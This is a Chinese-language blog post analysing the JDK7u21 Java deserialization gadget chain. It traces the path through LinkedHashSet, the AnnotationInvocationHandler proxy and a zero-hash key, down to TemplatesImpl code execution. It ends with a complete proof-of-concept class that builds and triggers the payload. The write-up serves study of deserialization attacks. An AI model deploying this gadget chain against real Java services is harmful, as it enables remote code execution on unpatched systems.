JDK7u21链分析

本文最后更新于:2024年10月14日 晚上

JDK7u21原生反序列化链

在学习反序列化之初,一直是分析CC这种第三方库存在的链子,在Java原生库中也存在反序列化利用链。这条利用链就是JDK7u21,顾名思义,它适用于Java 7u21及以前的版本。从官网直接下是没有sun包源码的,这里提供一个源码下载地址

ysoserial中也集成了,看看是怎么个构造法:

粗略看来和之前的构造模式有很大不同,但也有许多相似之处,依然使用了动态加载类的方式进行命令执行,使用了createProxy,需要动态代理,在CC1-LazyMap中我们也使用了动态代理的思路,最后入口点在LinkedHashSet

上面都是一些无端联想,下面具体来看这条链子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
LinkedHashSet.readObject()
LinkedHashSet.add()
...
TemplatesImpl.hashCode() (X)
LinkedHashSet.add()
...
Proxy(Templates).hashCode() (X)
AnnotationInvocationHandler.invoke() (X)
AnnotationInvocationHandler.hashCodeImpl() (X)
String.hashCode() (0)
AnnotationInvocationHandler.memberValueHashCode() (X)
TemplatesImpl.hashCode() (X)
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
...
TemplatesImpl.getOutputProperties()

看到了熟悉的身影AnnotationInvocationHandler,用到了其equalsImpl方法,找到看看:

存在一处方法执行

这里的memberMethod来自getDeclaredMethods

取得了type成员的所有方法,所以这里equalsImpl就是执行了type成员的所有方法,如果这个type含有危险方法就能执行任意命令了。

比如type是Templates类,则势必会调用到其中的 newTransformer() 或 getOutputProperties() 方法,进而触发任意代码执行。

这里equalsImpl是一个私有方法,被AnnotationInvocationHandler.invoke方法调用,那么这个invoke方法怎么调用,其实早在分析CC1-LazyMap时就已经用过了,只需要使用该类进行动态代理,那么就会触发对应的invoke方法执行。所以这里方法名为equals并且只有一个Oject类型的参数,就会进入私有方法equalsImpl

1
2
3
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);

现在的问题变成,找到一个方法,在反序列化时对proxy调用equals方法。

CC2、CC4、CB1都是使用了PriorityQueue进行比较时触发的代码执行,具体来说是Comparator这一类;CC8是使用了TreeMap进行比较触发,也是Comparator

唯一涉及到了equals的只有CC7中使用的Hashtable类,判断是否相等时,然后去底层调用了AbstractMapDecorator.equals()

根据ysoserial的源码来看,JDK7u21使用的是LinkedHashSet类,似乎有着异曲同工之妙。

具体分析,其本身没有实现readObject方法,继承自HashSet,这里使用了一个HashMap,将对象保存在HashMap的key处来做去重。去重的部分在最后map.put处实现,这不就和CC7很像,CC7中Hashtable调用了重新实现的reconstitutionPut我的CC7分析

下面是HashMap中的put方法,这里的i就是哈希表的索引值,后面的循环体中的工作就是对同一哈希索引下的元素去重。

这里的key如果是被AnnotationInvocationHandler代理后的Template类,就可以达到命令执行。

这里解释一下为什么:在接口类Template被动态代理之后,如果需要调用其方法(或许本身没有该方法),都通过代理它的类也就是AnnotationInvocationHandler来执行,也就是进入到了之前说的invoke方法,如果这个需要调用的方法是euqals,那么就调用了equalsImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}

modCount++;
addEntry(hash, key, value, i);
return null;
}

由于在key.equals触发,所以要进入循环体,需要准备两个哈希值相等的key。这里的构造很巧妙,首先,proxy本身不提供hash方法,所以仍然使用其代理类的hash方法,也就是AnnotationInvocationHandler中的hashCodeImpl,对memberValues变量进行循环计算:

1
2
3
4
5
6
7
8
9
10
/**
* Implementation of dynamicProxy.hashCode()
*/
private int hashCodeImpl() {
int result = 0;
for (Map.Entry<String, Object> e : memberValues.entrySet()) {
result += (127 * e.getKey().hashCode()) ^ memberValueHashCode(e.getValue());
}
return result;
}

这里不妨只设置一个元素,可以发现,这段代码就变成:

1
return (127 * e.getKey().hashCode()) ^ memberValueHashCode(e.getValue());

再者,如果e.getkey().hashCode()=0,实际上也存在哈希值为0的字符串,ysoserial提供的f5a5a608,那么就变成:

1
return memberValueHashCode(e.getValue());

也就是说这种情况下,经过AnnotationInvocationHandler代理的实例的哈希值实际上就是memberValues变量中的value

直接将需要比较的元素放进Map,就实现了哈希值相等了。

下开始构造测试代码:

有一些细节需要注意,触发equals需要第二次进入put,proxy需要在templates之后添加,才能在反序列化时进入代理类,再者TemplatesImpl实例需要作为参数传入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public class JDK7u21 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(CalcTempl.class.getName()).toBytecode()
});
setFieldValue(templates, "_name", "CalcTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

HashMap innerMap = new HashMap();

// 通过反射获取AnnotationInvocationHandler的实例
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationConstructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) annotationConstructor.newInstance(Templates.class, innerMap);

Templates proxy = (Templates) Proxy.newProxyInstance(Templates.class.getClassLoader(),new Class[]{Templates.class},handler);

LinkedHashSet linkedHashSet = new LinkedHashSet<>();
linkedHashSet.add(templates);
linkedHashSet.add(proxy);

innerMap.put("f5a5a608",templates);

SerUtils.serialize(linkedHashSet,"JDK7u21.bin");
SerUtils.unserialize("JDK7u21.bin");
}
}

到这里并没有结束,上面提到了CC7,那么是否可以使用Hashtable作为入口呢,答案是不行的,因为Hashtable是无序的,我们需要在反序列化时一定要先处理Proxy再处理TemplatesImpl,这样才能触发后续流程。

当然,可以触发,具有偶然性:


JDK7u21链分析
https://3xsh0re.github.io/2024/10/14/JDK7u21链分析/
作者
3xsh0re
发布于
2024年10月14日
许可协议